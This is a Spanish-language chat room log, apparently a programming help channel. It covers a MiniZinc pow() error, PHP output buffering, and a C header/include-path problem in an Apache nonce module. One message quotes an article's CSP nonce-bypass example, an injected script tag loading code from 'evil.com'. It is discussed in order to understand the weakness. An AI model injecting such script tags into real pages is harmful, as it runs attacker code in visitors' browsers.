« first day (1850 days earlier)      last day (1264 days later) » 

12:17 AM
Estoy tratando de realizar una exponenciación haciendo uso de pow() pero me indica que solo es válido con variables de decisión de tipo bool, sin embargo, en la documentación indican que es válido con tipo integer, como es obvio por otra parte por el tipo de built in que es
Estoy tratando de construir un modelo con una variable de decision, x, en el rango 0..10 con la restricción de que x debe ser divisible entre 4. Luego, la salida, obj, debe ser aquella que minimice el valor (x-7)^2. Probé de la siguiente forma, pero me lanza error en el método pow()
var 0..10: x;
constraint (x mod 4) == 0;
int: obj = pow(x-7, 2);
solve minimize obj;
output["x = ", show(x), "\nobj = ", show(obj)];
 
12:50 AM
@Manuel Esos dos métodos están relacionados con el manejo de buffers para simular un volcado de salida, como si se estuviera, sirviendo una página. Pero, se sirve a un buffer y desde el se recoge en una variable. ob_clean() lo limpia. En el caso del zipeado estás volcando los archivos a comprimir en uno, y los envías usando ob_flush o alguna variante como ob_end_flush. Ver:
 
 
12 hours later…
12:44 PM
@abulafia estás?
Buenas
 
Estoy, sí. Buenos días
 
@abulafia estoy atorado en C
A ver si mi lógica está bien o mal. Tal vez me dejo llevar por lo que veo por allí, pero tengo un mensaje en el IDE que me tiene medio loco
 
Pues cuéntame. A veces hace falta un patito de goma, ya sabes
 
Vale, genero un array de bytes aleatorios, los lleno de 4 en 4, para un total de 24 bytes
estoy usando memcpy para asignar el valor de un entero creado aleatoriamente
Mas o menos así:
random_int = random();
memcpy(random_bytes + num_of_elements, &random_int, 4);
El error que me marca el IDE es: hay demasiados argumentos en la llamada a función
En esa función memcpy
 
en cuál, memcpy?
 
12:50 PM
@abulafia buena pregunta
Estos son mis 2 includes por ahora:
#include <stdlib.h>
#include "time.h"
Uso GNU/Linux
 
De dónde saca el IDE la meta-información para los hints, de los includes?
incluye <string.h>
 
@abulafia esto tengo en la configuración del IDE, estoy haciendo un módulo para Apache y esto es lo que he incluido:
"includePath": [
                "${workspaceFolder}/**",
                "/usr/include/apr-1.0/**",
                "/usr/include/apache2/**"
            ],
 
@MauricioContreras por qué tienes "time.h" entre comillas? No habrá dentro otra declaración de memcpy?
 
@abulafia ya hice un cambio y se quitó el error
 
¿qué cambiaste?
 
12:53 PM
La librería <stdlib.h>, la quité del medio
No creo necesitarla. Porque no usaré nada de allí, pero por alguna razón el ide la importa como plantilla. XD
@abulafia usar comillas es lo que me enseñaron en la escuela, está mal?
No, no está mal, ya recuerdo, es para que busque en el directorio de trabajo.
Por eso tuve que meter los path en la configuración del editor
time.h lo está agarrando del directorio de librerías de apache2
o eso creo
Pues no, en esos directorios no está. Ni idea de donde lo toma. Buena pregunta.
Lo estará tomando del Sistema Operativo, supongo
La cosa es que ahora parece que si va
 
Con las comillas busca antes en el directorio de trabajo, y si no está en él entonces busca ya en las carpetas por defecto en las que buscaría si lo pusieras entre < >
así que si no tienes un time.h en el directorio de trabajo, puedes usar <time.h> en vez de "time.h" y será lo mismo
 
@abulafia ok
 
Bueno, en realidad, siendo más preciso, no es el directorio de trabajo, sino el directorio donde está el fichero que hace el #include "loquesea"
es una especie de import .time en python, vamos
 
Pues si cambio a #include <time.h>, me tira un error
 
aunque si no lo encuentra ahi, buscará "globalmente"
qué error?
 
1:06 PM
@abulafia estoy usando un validador, para saber si la fecha no devuelve 0:
if (timespec_get(&ts, TIME_UTC) == 0)
Me dice que TIME_UTC no está definido.
 
Entonces el time.h que incluye al usar comillas no es el mismo que el que incluye al no usarlas. Algún time.h tienes por ahí (en teoría debería estar en la misma carpeta que el fichero .c que estás compilando, si no ya no lo entiendo)
 
Imagino que en la librería que toma (<time.h>) no está definida esa variable.
@abulafia el fichero está solito en su carpeta. XD
Hay alguna forma de ver de donde lo está sacando?
 
Quizás el INCLUDE PATH que usa con comillas es diferente
Compilas con gcc?
 
Ya lo tengo:
#ifdef __USE_ISOC11
/* Time base values for timespec_get. */
# define TIME_UTC 1
#endif
Esa es la librería time.h de /usr/include
 
gcc -E -Wp,-v fichero.c
echo|gcc -E -Wp,-v -
lo anterior compila un fichero vacío, y por tanto da una salida mucho más breve, pero en ella se puede ver el search path para los includes
 
1:14 PM
ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/7/../../../../x86_64-linux-gnu/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/lib/gcc/x86_64-linux-gnu/7/include
 /usr/local/include
 /usr/lib/gcc/x86_64-linux-gnu/7/include-fixed
 /usr/include/x86_64-linux-gnu
 /usr/include
End of search list.
# 1 "<stdin>"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
Esa es la salida del último comando
Ahora veremos la salida de mi fichero
# 1 "nonce_test.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "nonce_test.c"
# 1 "/usr/include/time.h" 1 3 4
# 25 "/usr/include/time.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 424 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 427 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 428 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
Pues si es la de /usr/include
Ahora cambio a <time.h>, a ver que dice
 
puedes guardar los outputs de cada caso y hacer un diff
 
Si incluyo directamente el path en la configuración del editor para este proyecto?
 
2:00 PM
@abulafia, carga las mismas cabeceras
Es decir, apunta al mismo archivo
/usr/include/time.h
Creo que la diferencia estará en el uso o no de "" y / o <>
 
 
3 hours later…
4:44 PM
@MauricioContreras No entiendo nada. La única diferencia entre usar "" o <> es la ruta en la que busca el archivo. Si al final te carga el mismo, no debería haber diferencia alguna
 
5:24 PM
@abulafia pues yo entiendo menos la verdad. Estoy averiguando la causa del problema.
 
 
2 hours later…
7:40 PM
Vi tu comentario. Pero, me da la impresión, sin comprender todavía el asunto, que el uso de nonce permite ataques inyectando sentencias mal formadas. (Eso leí en el artículo que me pasaste): ej: `<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>` usado así: `<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>` De modo que, no me queda claro el asunto.
 
8:29 PM
@quevedo mañana te explico un poco más
@abulafia ya di con el problema. Gracias por la ayuda, el tema estaba en la configuración del IDE
Por una extraña razón, hay una diferencia al realizar el include usando "" y <>
 
@MauricioContreras gracias
 
Igual mañana lo comento @abulafia, porque tal vez entiendas tú más que yo este asunto.
@quevedo no hay por donde
 
@MauricioContreras jajajaja ese es un localismo en mi país
 
@MauricioContreras Bien, un misterio menos en el Universo
 
Por cierto @quevedo, solucioné parcialmente lo del uso de nonce.
 
8:33 PM
lo usaba cuando era joven (hace tanto que no recuerdo haberlo sido)
 
@quevedo Eso ha sonado Borgiano
 
@MauricioContreras por eso mi anotación, lo que mostraste me genera dudas
 
@abulafia pues si, una chorrada, pero me ayudó a entender más mi IDE
 
@abulafia lo es. En este momento mi juventud ya es más del reino de los sueños que del de los recuerdos
 
@quevedo ok, mañana las aclaro. Acabo de llegar a casa y tengo las orejas y nariz congeladas. Tomaré un té, una serie y a dormir.
 
8:35 PM
@quevedo El otro?
 
@MauricioContreras que descanses
@abulafia Borgia? o Borges? ... yo entendí Borges
 
Borges, Borges..
 
@abulafia jajaja
 
"El otro" es ese relato en el que se encuentra con su yo joven y llega a la conclusión de que no recuerda ese encuentro porque de joven lo soñó. Me lo has recordado
 
 
1 hour later…
9:46 PM
@abulafia No lo he leído. Lo voy a buscar!
 

« first day (1850 days earlier)      last day (1264 days later) »